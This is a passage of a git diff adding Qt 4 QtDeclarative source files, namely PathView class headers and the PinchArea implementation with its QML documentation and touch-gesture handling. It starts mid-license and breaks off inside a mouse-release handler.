+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPATHVIEW_H
+#define QDECLARATIVEPATHVIEW_H
+
+#include "qdeclarativeitem.h"
+#include "private/qdeclarativepath_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativePathViewPrivate;
+class QDeclarativePathViewAttached;
+class Q_AUTOTEST_EXPORT QDeclarativePathView : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged)
+ Q_PROPERTY(QDeclarativePath *path READ path WRITE setPath NOTIFY pathChanged)
+ Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged)
+ Q_PROPERTY(qreal offset READ offset WRITE setOffset NOTIFY offsetChanged)
+
+ Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged)
+ Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged)
+
+ Q_PROPERTY(qreal preferredHighlightBegin READ preferredHighlightBegin WRITE setPreferredHighlightBegin NOTIFY preferredHighlightBeginChanged)
+ Q_PROPERTY(qreal preferredHighlightEnd READ preferredHighlightEnd WRITE setPreferredHighlightEnd NOTIFY preferredHighlightEndChanged)
+ Q_PROPERTY(HighlightRangeMode highlightRangeMode READ highlightRangeMode WRITE setHighlightRangeMode NOTIFY highlightRangeModeChanged)
+ Q_PROPERTY(int highlightMoveDuration READ highlightMoveDuration WRITE setHighlightMoveDuration NOTIFY highlightMoveDurationChanged)
+
+ Q_PROPERTY(qreal dragMargin READ dragMargin WRITE setDragMargin NOTIFY dragMarginChanged)
+ Q_PROPERTY(qreal flickDeceleration READ flickDeceleration WRITE setFlickDeceleration NOTIFY flickDecelerationChanged)
+ Q_PROPERTY(bool interactive READ isInteractive WRITE setInteractive NOTIFY interactiveChanged)
+
+ Q_PROPERTY(bool moving READ isMoving NOTIFY movingChanged)
+ Q_PROPERTY(bool flicking READ isFlicking NOTIFY flickingChanged)
+
+ Q_PROPERTY(int count READ count NOTIFY countChanged)
+ Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged)
+ Q_PROPERTY(int pathItemCount READ pathItemCount WRITE setPathItemCount NOTIFY pathItemCountChanged)
+
+ Q_ENUMS(HighlightRangeMode)
+
+public:
+ QDeclarativePathView(QDeclarativeItem *parent=0);
+ virtual ~QDeclarativePathView();
+
+ QVariant model() const;
+ void setModel(const QVariant &);
+
+ QDeclarativePath *path() const;
+ void setPath(QDeclarativePath *);
+
+ int currentIndex() const;
+ void setCurrentIndex(int idx);
+
+ qreal offset() const;
+ void setOffset(qreal offset);
+
+ QDeclarativeComponent *highlight() const;
+ void setHighlight(QDeclarativeComponent *highlight);
+ QDeclarativeItem *highlightItem();
+
+ enum HighlightRangeMode { NoHighlightRange, ApplyRange, StrictlyEnforceRange };
+ HighlightRangeMode highlightRangeMode() const;
+ void setHighlightRangeMode(HighlightRangeMode mode);
+
+ qreal preferredHighlightBegin() const;
+ void setPreferredHighlightBegin(qreal);
+
+ qreal preferredHighlightEnd() const;
+ void setPreferredHighlightEnd(qreal);
+
+ int highlightMoveDuration() const;
+ void setHighlightMoveDuration(int);
+
+ qreal dragMargin() const;
+ void setDragMargin(qreal margin);
+
+ qreal flickDeceleration() const;
+ void setFlickDeceleration(qreal dec);
+
+ bool isInteractive() const;
+ void setInteractive(bool);
+
+ bool isMoving() const;
+ bool isFlicking() const;
+
+ int count() const;
+
+ QDeclarativeComponent *delegate() const;
+ void setDelegate(QDeclarativeComponent *);
+
+ int pathItemCount() const;
+ void setPathItemCount(int);
+
+ static QDeclarativePathViewAttached *qmlAttachedProperties(QObject *);
+
+public Q_SLOTS:
+ void incrementCurrentIndex();
+ void decrementCurrentIndex();
+
+Q_SIGNALS:
+ void currentIndexChanged();
+ void offsetChanged();
+ void modelChanged();
+ void countChanged();
+ void pathChanged();
+ void preferredHighlightBeginChanged();
+ void preferredHighlightEndChanged();
+ void highlightRangeModeChanged();
+ void dragMarginChanged();
+ void snapPositionChanged();
+ void delegateChanged();
+ void pathItemCountChanged();
+ void flickDecelerationChanged();
+ void interactiveChanged();
+ void movingChanged();
+ void flickingChanged();
+ void highlightChanged();
+ void highlightItemChanged();
+ void highlightMoveDurationChanged();
+ void movementStarted();
+ void movementEnded();
+ void flickStarted();
+ void flickEnded();
+
+protected:
+ void mousePressEvent(QGraphicsSceneMouseEvent *event);
+ void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
+ void mouseReleaseEvent(QGraphicsSceneMouseEvent *);
+ bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
+ bool sceneEventFilter(QGraphicsItem *, QEvent *);
+ bool event(QEvent *event);
+ void componentComplete();
+
+private Q_SLOTS:
+ void refill();
+ void ticked();
+ void movementEnding();
+ void itemsInserted(int index, int count);
+ void itemsRemoved(int index, int count);
+ void itemsMoved(int,int,int);
+ void modelReset();
+ void createdItem(int index, QDeclarativeItem *item);
+ void destroyingItem(QDeclarativeItem *item);
+ void pathUpdated();
+
+private:
+ friend class QDeclarativePathViewAttached;
+ Q_DISABLE_COPY(QDeclarativePathView)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativePathView)
+};
+
+class QDeclarativeOpenMetaObject;
+class QDeclarativePathViewAttached : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QDeclarativePathView *view READ view CONSTANT)
+ Q_PROPERTY(bool isCurrentItem READ isCurrentItem NOTIFY currentItemChanged)
+ Q_PROPERTY(bool onPath READ isOnPath NOTIFY pathChanged)
+
+public:
+ QDeclarativePathViewAttached(QObject *parent);
+ ~QDeclarativePathViewAttached();
+
+ QDeclarativePathView *view() { return m_view; }
+
+ bool isCurrentItem() const { return m_isCurrent; }
+ void setIsCurrentItem(bool c) {
+ if (m_isCurrent != c) {
+ m_isCurrent = c;
+ emit currentItemChanged();
+ }
+ }
+
+ QVariant value(const QByteArray &name) const;
+ void setValue(const QByteArray &name, const QVariant &val);
+
+ bool isOnPath() const { return m_onPath; }
+ void setOnPath(bool on) {
+ if (on != m_onPath) {
+ m_onPath = on;
+ emit pathChanged();
+ }
+ }
+ qreal m_percent;
+
+Q_SIGNALS:
+ void currentItemChanged();
+ void pathChanged();
+
+private:
+ friend class QDeclarativePathViewPrivate;
+ friend class QDeclarativePathView;
+ QDeclarativePathView *m_view;
+ QDeclarativeOpenMetaObject *m_metaobject;
+ bool m_onPath : 1;
+ bool m_isCurrent : 1;
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePathView)
+QML_DECLARE_TYPEINFO(QDeclarativePathView, QML_HAS_ATTACHED_PROPERTIES)
+QT_END_HEADER
+
+#endif // QDECLARATIVEPATHVIEW_H
diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h
new file mode 100644
index 00000000..b226f79e
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h
@@ -0,0 +1,192 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPATHVIEW_P_H
+#define QDECLARATIVEPATHVIEW_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativepathview_p.h"
+
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativevisualitemmodel_p.h"
+
+#include <qdeclarative.h>
+#include <qdeclarativeanimation_p_p.h>
+#include <qdeclarativeguard_p.h>
+
+#include <qdatetime.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeOpenMetaObjectType;
+class QDeclarativePathViewAttached;
+class QDeclarativePathViewPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
+{
+ Q_DECLARE_PUBLIC(QDeclarativePathView)
+
+public:
+ QDeclarativePathViewPrivate()
+ : path(0), currentIndex(0), currentItemOffset(0.0), startPc(0), lastDist(0)
+ , lastElapsed(0), offset(0.0), offsetAdj(0.0), mappedRange(1.0)
+ , stealMouse(false), ownModel(false), interactive(true), haveHighlightRange(true)
+ , autoHighlight(true), highlightUp(false), layoutScheduled(false)
+ , moving(false), flicking(false)
+ , dragMargin(0), deceleration(100)
+ , moveOffset(this, &QDeclarativePathViewPrivate::setAdjustedOffset)
+ , firstIndex(-1), pathItems(-1), requestedIndex(-1)
+ , moveReason(Other), moveDirection(Shortest), attType(0), highlightComponent(0), highlightItem(0)
+ , moveHighlight(this, &QDeclarativePathViewPrivate::setHighlightPosition)
+ , highlightPosition(0)
+ , highlightRangeStart(0), highlightRangeEnd(0)
+ , highlightRangeMode(QDeclarativePathView::StrictlyEnforceRange)
+ , highlightMoveDuration(300), modelCount(0)
+ {
+ }
+
+ void init();
+
+ void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry) {
+ if ((newGeometry.size() != oldGeometry.size())
+ && (!highlightItem || item != highlightItem)) {
+ if (QDeclarativePathViewAttached *att = attached(item))
+ att->m_percent = -1;
+ scheduleLayout();
+ }
+ }
+
+ void scheduleLayout() {
+ Q_Q(QDeclarativePathView);
+ if (!layoutScheduled) {
+ layoutScheduled = true;
+ QCoreApplication::postEvent(q, new QEvent(QEvent::User), Qt::HighEventPriority);
+ }
+ }
+
+ QDeclarativeItem *getItem(int modelIndex);
+ void releaseItem(QDeclarativeItem *item);
+ QDeclarativePathViewAttached *attached(QDeclarativeItem *item);
+ void clear();
+ void updateMappedRange();
+ qreal positionOfIndex(qreal index) const;
+ void createHighlight();
+ void updateHighlight();
+ void setHighlightPosition(qreal pos);
+ bool isValid() const {
+ return model && model->count() > 0 && model->isValid() && path;
+ }
+
+ void handleMousePressEvent(QGraphicsSceneMouseEvent *event);
+ void handleMouseMoveEvent(QGraphicsSceneMouseEvent *event);
+ void handleMouseReleaseEvent(QGraphicsSceneMouseEvent *);
+
+ int calcCurrentIndex();
+ void updateCurrent();
+ static void fixOffsetCallback(void*);
+ void fixOffset();
+ void setOffset(qreal offset);
+ void setAdjustedOffset(qreal offset);
+ void regenerate();
+ void updateItem(QDeclarativeItem *, qreal);
+ void snapToCurrent();
+ QPointF pointNear(const QPointF &point, qreal *nearPercent=0) const;
+
+ QDeclarativePath *path;
+ int currentIndex;
+ QDeclarativeGuard<QDeclarativeItem> currentItem;
+ qreal currentItemOffset;
+ qreal startPc;
+ QPointF startPoint;
+ qreal lastDist;
+ int lastElapsed;
+ qreal offset;
+ qreal offsetAdj;
+ qreal mappedRange;
+ bool stealMouse : 1;
+ bool ownModel : 1;
+ bool interactive : 1;
+ bool haveHighlightRange : 1;
+ bool autoHighlight : 1;
+ bool highlightUp : 1;
+ bool layoutScheduled : 1;
+ bool moving : 1;
+ bool flicking : 1;
+ QElapsedTimer lastPosTime;
+ QPointF lastPos;
+ qreal dragMargin;
+ qreal deceleration;
+ QDeclarativeTimeLine tl;
+ QDeclarativeTimeLineValueProxy<QDeclarativePathViewPrivate> moveOffset;
+ int firstIndex;
+ int pathItems;
+ int requestedIndex;
+ QList<QDeclarativeItem *> items;
+ QList<QDeclarativeItem *> itemCache;
+ QDeclarativeGuard<QDeclarativeVisualModel> model;
+ QVariant modelVariant;
+ enum MovementReason { Other, SetIndex, Mouse };
+ MovementReason moveReason;
+ enum MovementDirection { Shortest, Negative, Positive };
+ MovementDirection moveDirection;
+ QDeclarativeOpenMetaObjectType *attType;
+ QDeclarativeComponent *highlightComponent;
+ QDeclarativeItem *highlightItem;
+ QDeclarativeTimeLineValueProxy<QDeclarativePathViewPrivate> moveHighlight;
+ qreal highlightPosition;
+ qreal highlightRangeStart;
+ qreal highlightRangeEnd;
+ QDeclarativePathView::HighlightRangeMode highlightRangeMode;
+ int highlightMoveDuration;
+ int modelCount;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
new file mode 100644
index 00000000..3d79f7a8
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
@@ -0,0 +1,607 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativepincharea_p.h"
+#include "qdeclarativepincharea_p_p.h"
+
+#include <QApplication>
+#include <QGraphicsScene>
+
+#include <float.h>
+#include <math.h>
+
+QT_BEGIN_NAMESPACE
+
+
+/*!
+ \qmlclass PinchEvent QDeclarativePinchEvent
+ \ingroup qml-event-elements
+ \brief The PinchEvent object provides information about a pinch event.
+
+ \bold {The PinchEvent element was added in QtQuick 1.1}
+
+ The \c center, \c startCenter, \c previousCenter properties provide the center position between the two touch points.
+
+ The \c scale and \c previousScale properties provide the scale factor.
+
+ The \c angle, \c previousAngle and \c rotation properties provide the angle between the two points and the amount of rotation.
+
+ The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points.
+
+ The \c accepted property may be set to false in the \c onPinchStarted handler if the gesture should not
+ be handled.
+
+ \sa PinchArea
+*/
+
+/*!
+ \qmlproperty QPointF PinchEvent::center
+ \qmlproperty QPointF PinchEvent::startCenter
+ \qmlproperty QPointF PinchEvent::previousCenter
+
+ These properties hold the position of the center point between the two touch points.
+
+ \list
+ \o \c center is the current center point
+ \o \c previousCenter is the center point of the previous event.
+ \o \c startCenter is the center point when the gesture began
+ \endlist
+*/
+
+/*!
+ \qmlproperty real PinchEvent::scale
+ \qmlproperty real PinchEvent::previousScale
+
+ These properties hold the scale factor determined by the change in distance between the two touch points.
+
+ \list
+ \o \c scale is the current scale factor.
+ \o \c previousScale is the scale factor of the previous event.
+ \endlist
+
+ When a pinch gesture is started, the scale is 1.0.
+*/
+
+/*!
+ \qmlproperty real PinchEvent::angle
+ \qmlproperty real PinchEvent::previousAngle
+ \qmlproperty real PinchEvent::rotation
+
+ These properties hold the angle between the two touch points.
+
+ \list
+ \o \c angle is the current angle between the two points in the range -180 to 180.
+ \o \c previousAngle is the angle of the previous event.
+ \o \c rotation is the total rotation since the pinch gesture started.
+ \endlist
+
+ When a pinch gesture is started, the rotation is 0.0.
+*/
+
+/*!
+ \qmlproperty QPointF PinchEvent::point1
+ \qmlproperty QPointF PinchEvent::startPoint1
+ \qmlproperty QPointF PinchEvent::point2
+ \qmlproperty QPointF PinchEvent::startPoint2
+
+ These properties provide the actual touch points generating the pinch.
+
+ \list
+ \o \c point1 and \c point2 hold the current positions of the points.
+ \o \c startPoint1 and \c startPoint2 hold the positions of the points when the second point was touched.
+ \endlist
+*/
+
+/*!
+ \qmlproperty bool PinchEvent::accepted
+
+ Setting this property to false in the \c PinchArea::onPinchStarted handler
+ will result in no further pinch events being generated, and the gesture
+ ignored.
+*/
+
+/*!
+ \qmlproperty int PinchEvent::pointCount
+
+ Holds the number of points currently touched. The PinchArea will not react
+ until two touch points have initited a gesture, but will remain active until
+ all touch points have been released.
+*/
+
+QDeclarativePinch::QDeclarativePinch()
+ : m_target(0), m_minScale(1.0), m_maxScale(1.0)
+ , m_minRotation(0.0), m_maxRotation(0.0)
+ , m_axis(NoDrag), m_xmin(-FLT_MAX), m_xmax(FLT_MAX)
+ , m_ymin(-FLT_MAX), m_ymax(FLT_MAX), m_active(false)
+{
+}
+
+QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate()
+{
+ delete pinch;
+}
+
+/*!
+ \qmlclass PinchArea QDeclarativePinchArea
+ \brief The PinchArea item enables simple pinch gesture handling.
+ \inherits Item
+
+ \bold {The PinchArea element was added in QtQuick 1.1}
+
+ A PinchArea is an invisible item that is typically used in conjunction with
+ a visible item in order to provide pinch gesture handling for that item.
+
+ The \l enabled property is used to enable and disable pinch handling for
+ the proxied item. When disabled, the pinch area becomes transparent to
+ mouse/touch events.
+
+ PinchArea can be used in two ways:
+
+ \list
+ \o setting a \c pinch.target to provide automatic interaction with an element
+ \o using the onPinchStarted, onPinchUpdated and onPinchFinished handlers
+ \endlist
+
+ \sa PinchEvent
+*/
+
+/*!
+ \qmlsignal PinchArea::onPinchStarted()
+
+ This handler is called when the pinch area detects that a pinch gesture has started.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+
+ To ignore this gesture set the \c pinch.accepted property to false. The gesture
+ will be cancelled and no further events will be sent.
+*/
+
+/*!
+ \qmlsignal PinchArea::onPinchUpdated()
+
+ This handler is called when the pinch area detects that a pinch gesture has changed.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+*/
+
+/*!
+ \qmlsignal PinchArea::onPinchFinished()
+
+ This handler is called when the pinch area detects that a pinch gesture has finished.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+*/
+
+
+/*!
+ \qmlproperty Item PinchArea::pinch.target
+ \qmlproperty bool PinchArea::pinch.active
+ \qmlproperty real PinchArea::pinch.minimumScale
+ \qmlproperty real PinchArea::pinch.maximumScale
+ \qmlproperty real PinchArea::pinch.minimumRotation
+ \qmlproperty real PinchArea::pinch.maximumRotation
+ \qmlproperty enumeration PinchArea::pinch.dragAxis
+ \qmlproperty real PinchArea::pinch.minimumX
+ \qmlproperty real PinchArea::pinch.maximumX
+ \qmlproperty real PinchArea::pinch.minimumY
+ \qmlproperty real PinchArea::pinch.maximumY
+
+ \c pinch provides a convenient way to make an item react to pinch gestures.
+
+ \list
+ \i \c pinch.target specifies the id of the item to drag.
+ \i \c pinch.active specifies if the target item is currently being dragged.
+ \i \c pinch.minimumScale and \c pinch.maximumScale limit the range of the Item::scale property.
+ \i \c pinch.minimumRotation and \c pinch.maximumRotation limit the range of the Item::rotation property.
+ \i \c pinch.dragAxis specifies whether dragging in not allowed (\c Pinch.NoDrag), can be done horizontally (\c Pinch.XAxis), vertically (\c Pinch.YAxis), or both (\c Pinch.XandYAxis)
+ \i \c pinch.minimum and \c pinch.maximum limit how far the target can be dragged along the corresponding axes.
+ \endlist
+*/
+
+QDeclarativePinchArea::QDeclarativePinchArea(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativePinchAreaPrivate), parent)
+{
+ Q_D(QDeclarativePinchArea);
+ d->init();
+}
+
+QDeclarativePinchArea::~QDeclarativePinchArea()
+{
+}
+
+/*!
+ \qmlproperty bool PinchArea::enabled
+ This property holds whether the item accepts pinch gestures.
+
+ This property defaults to true.
+*/
+bool QDeclarativePinchArea::isEnabled() const
+{
+ Q_D(const QDeclarativePinchArea);
+ return d->absorb;
+}
+
+void QDeclarativePinchArea::setEnabled(bool a)
+{
+ Q_D(QDeclarativePinchArea);
+ if (a != d->absorb) {
+ d->absorb = a;
+ emit enabledChanged();
+ }
+}
+
+bool QDeclarativePinchArea::event(QEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ if (!d->absorb || !isVisible())
+ return QDeclarativeItem::event(event);
+ switch (event->type()) {
+ case QEvent::TouchBegin:
+ case QEvent::TouchUpdate: {
+ QTouchEvent *touch = static_cast<QTouchEvent*>(event);
+ d->touchPoints.clear();
+ for (int i = 0; i < touch->touchPoints().count(); ++i) {
+ if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) {
+ d->touchPoints << touch->touchPoints().at(i);
+ }
+ }
+ updatePinch();
+ }
+ return true;
+ case QEvent::TouchEnd:
+ d->touchPoints.clear();
+ updatePinch();
+ break;
+ default:
+ return QDeclarativeItem::event(event);
+ }
+
+ return QDeclarativeItem::event(event);
+}
+
+void QDeclarativePinchArea::updatePinch()
+{
+ Q_D(QDeclarativePinchArea);
+ if (d->touchPoints.count() == 0) {
+ if (d->inPinch) {
+ d->stealMouse = false;
+ setKeepMouseGrab(false);
+ d->inPinch = false;
+ QPointF pinchCenter = mapFromScene(d->sceneLastCenter);
+ QDeclarativePinchEvent pe(pinchCenter, d->pinchLastScale, d->pinchLastAngle, d->pinchRotation);
+ pe.setStartCenter(d->pinchStartCenter);
+ pe.setPreviousCenter(pinchCenter);
+ pe.setPreviousAngle(d->pinchLastAngle);
+ pe.setPreviousScale(d->pinchLastScale);
+ pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+ pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+ pe.setPoint1(mapFromScene(d->lastPoint1));
+ pe.setPoint2(mapFromScene(d->lastPoint2));
+ emit pinchFinished(&pe);
+ d->pinchStartDist = 0;
+ d->pinchActivated = false;
+ if (d->pinch && d->pinch->target())
+ d->pinch->setActive(false);
+ }
+ return;
+ }
+ QTouchEvent::TouchPoint touchPoint1 = d->touchPoints.at(0);
+ QTouchEvent::TouchPoint touchPoint2 = d->touchPoints.at(d->touchPoints. count() >= 2 ? 1 : 0);
+ if (d->touchPoints.count() == 2
+ && (touchPoint1.state() & Qt::TouchPointPressed || touchPoint2.state() & Qt::TouchPointPressed)) {
+ d->id1 = touchPoint1.id();
+ d->sceneStartPoint1 = touchPoint1.scenePos();
+ d->sceneStartPoint2 = touchPoint2.scenePos();
+ d->inPinch = false;
+ d->pinchRejected = false;
+ d->pinchActivated = true;
+ } else if (d->pinchActivated && !d->pinchRejected) {
+ const int dragThreshold = QApplication::startDragDistance();
+ QPointF p1 = touchPoint1.scenePos();
+ QPointF p2 = touchPoint2.scenePos();
+ qreal dx = p1.x() - p2.x();
+ qreal dy = p1.y() - p2.y();
+ qreal dist = sqrt(dx*dx + dy*dy);
+ QPointF sceneCenter = (p1 + p2)/2;
+ qreal angle = QLineF(p1, p2).angle();
+ if (d->touchPoints.count() == 1) {
+ // If we only have one point then just move the center
+ if (d->id1 == touchPoint1.id())
+ sceneCenter = d->sceneLastCenter + touchPoint1.scenePos() - d->lastPoint1;
+ else
+ sceneCenter = d->sceneLastCenter + touchPoint2.scenePos() - d->lastPoint2;
+ angle = d->pinchLastAngle;
+ }
+ d->id1 = touchPoint1.id();
+ if (angle > 180)
+ angle -= 360;
+ if (!d->inPinch) {
+ if (d->touchPoints.count() >= 2
+ && (qAbs(p1.x()-d->sceneStartPoint1.x()) > dragThreshold
+ || qAbs(p1.y()-d->sceneStartPoint1.y()) > dragThreshold
+ || qAbs(p2.x()-d->sceneStartPoint2.x()) > dragThreshold
+ || qAbs(p2.y()-d->sceneStartPoint2.y()) > dragThreshold)) {
+ d->sceneStartCenter = sceneCenter;
+ d->sceneLastCenter = sceneCenter;
+ d->pinchStartCenter = mapFromScene(sceneCenter);
+ d->pinchStartDist = dist;
+ d->pinchStartAngle = angle;
+ d->pinchLastScale = 1.0;
+ d->pinchLastAngle = angle;
+ d->pinchRotation = 0.0;
+ d->lastPoint1 = p1;
+ d->lastPoint2 = p2;
+ QDeclarativePinchEvent pe(d->pinchStartCenter, 1.0, angle, 0.0);
+ pe.setStartCenter(d->pinchStartCenter);
+ pe.setPreviousCenter(d->pinchStartCenter);
+ pe.setPreviousAngle(d->pinchLastAngle);
+ pe.setPreviousScale(d->pinchLastScale);
+ pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+ pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+ pe.setPoint1(mapFromScene(d->lastPoint1));
+ pe.setPoint2(mapFromScene(d->lastPoint2));
+ pe.setPointCount(d->touchPoints.count());
+ emit pinchStarted(&pe);
+ if (pe.accepted()) {
+ d->inPinch = true;
+ d->stealMouse = true;
+ QGraphicsScene *s = scene();
+ if (s && s->mouseGrabberItem() != this)
+ grabMouse();
+ setKeepMouseGrab(true);
+ if (d->pinch && d->pinch->target()) {
+ d->pinchStartPos = pinch()->target()->pos();
+ d->pinchStartScale = d->pinch->target()->scale();
+ d->pinchStartRotation = d->pinch->target()->rotation();
+ d->pinch->setActive(true);
+ }
+ } else {
+ d->pinchRejected = true;
+ }
+ }
+ } else if (d->pinchStartDist > 0) {
+ qreal scale = dist ? dist / d->pinchStartDist : d->pinchLastScale;
+ qreal da = d->pinchLastAngle - angle;
+ if (da > 180)
+ da -= 360;
+ else if (da < -180)
+ da += 360;
+ d->pinchRotation += da;
+ QPointF pinchCenter = mapFromScene(sceneCenter);
+ QDeclarativePinchEvent pe(pinchCenter, scale, angle, d->pinchRotation);
+ pe.setStartCenter(d->pinchStartCenter);
+ pe.setPreviousCenter(mapFromScene(d->sceneLastCenter));
+ pe.setPreviousAngle(d->pinchLastAngle);
+ pe.setPreviousScale(d->pinchLastScale);
+ pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+ pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+ pe.setPoint1(touchPoint1.pos());
+ pe.setPoint2(touchPoint2.pos());
+ pe.setPointCount(d->touchPoints.count());
+ d->pinchLastScale = scale;
+ d->sceneLastCenter = sceneCenter;
+ d->pinchLastAngle = angle;
+ d->lastPoint1 = touchPoint1.scenePos();
+ d->lastPoint2 = touchPoint2.scenePos();
+ emit pinchUpdated(&pe);
+ if (d->pinch && d->pinch->target()) {
+ qreal s = d->pinchStartScale * scale;
+ s = qMin(qMax(pinch()->minimumScale(),s), pinch()->maximumScale());
+ pinch()->target()->setScale(s);
+ QPointF pos = sceneCenter - d->sceneStartCenter + d->pinchStartPos;
+ if (pinch()->axis() & QDeclarativePinch::XAxis) {
+ qreal x = pos.x();
+ if (x < pinch()->xmin())
+ x = pinch()->xmin();
+ else if (x > pinch()->xmax())
+ x = pinch()->xmax();
+ pinch()->target()->setX(x);
+ }
+ if (pinch()->axis() & QDeclarativePinch::YAxis) {
+ qreal y = pos.y();
+ if (y < pinch()->ymin())
+ y = pinch()->ymin();
+ else if (y > pinch()->ymax())
+ y = pinch()->ymax();
+ pinch()->target()->setY(y);
+ }
+ if (d->pinchStartRotation >= pinch()->minimumRotation()
+ && d->pinchStartRotation <= pinch()->maximumRotation()) {
+ qreal r = d->pinchRotation + d->pinchStartRotation;
+ r = qMin(qMax(pinch()->minimumRotation(),r), pinch()->maximumRotation());
+ pinch()->target()->setRotation(r);
+ }
+ }
+ }
+ }
+}
+
+void QDeclarativePinchArea::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ d->stealMouse = false;
+ if (!d->absorb)
+ QDeclarativeItem::mousePressEvent(event);
+ else {
+ setKeepMouseGrab(false);
+ event->setAccepted(true);
+ }
+}
+
+void QDeclarativePinchArea::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativePinchArea);
+ if (!d->absorb) {
+ QDeclarativeItem::mouseMoveEvent(event);
+ return;
+ }
+}
+
+void QDeclarativePinchArea::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
